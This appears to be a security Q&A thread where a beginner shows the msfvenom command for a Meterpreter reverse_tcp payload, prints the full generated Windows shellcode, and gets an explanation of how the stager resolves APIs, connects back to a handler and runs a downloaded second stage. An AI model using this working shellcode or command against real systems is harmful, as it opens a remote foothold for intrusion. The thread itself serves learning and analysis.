1

I have just started learning msfconsole and I have used windows/meterpreter/reverse_tcp . I know this establishes a connection from the target system to our attacking system .

However I would like to know that when we generate the payload using msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x and LPORT=xxxx -f c . What does the char Shellcode mentioned there actually do .

"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\x0a\x00\x02\x0f"
"\x68\x02\x00\x10\xe1\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

Does the shell code have any particular name?

I would like to know what the function of the above Shellcode is and if it has any particular name already assigned to it . I have tried converting to assembly language to understand but no luck.

Would appreciate the guidance.

Improve this question

1 Answer 1

Reset to default
3

This is the hex representation of the shell code which when generated in C can be assigned to an array. Once the shell code is assigned to an array, it can be executed directly through either function pointer (works in older Windows but DEP has issues with the function pointer method) or through the standard Windows API.

Coming to the shell code itself, it first uses the famous block API technique where all the important functions within the loaded modules are compared with a set of pre-listed hashes in order to find the base addresses of all the API functions we need. For example, the above shell code first searches of LoadLibrary in kernel32.dll, once it finds it, it uses the LoadLibrary in order to load ws2_32.dll which has all the necessary functions for creating a socket. Using the just created socket, the shell code will attempt a connection to the handler, receive the size of the second stage, and allocate and RWX memory region, store the received second stage in the RWX memory and pass on the control to the second stage.

That is all the above shell code is doing. Take a look at commented assembly code of the reverse_tcp shell code at https://github.com/rapid7/metasploit-framework/blob/0cbfd483ae9291583f8f3bdabe3cf168c5b78991/lib/msf/core/payload/windows/reverse_tcp.rb

Improve this answer
2
  • So basically this shellcode is creating a connection to the handler that we use as an exploit . Then allocating it memory and passing the control on , is that right? if not could you simplify what you have written.
    – Craig Peris
    Commented Aug 3, 2018 at 9:04
  • Yes. That is basically what the stager shell code does.
    – void_in
    Commented Aug 3, 2018 at 9:40

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .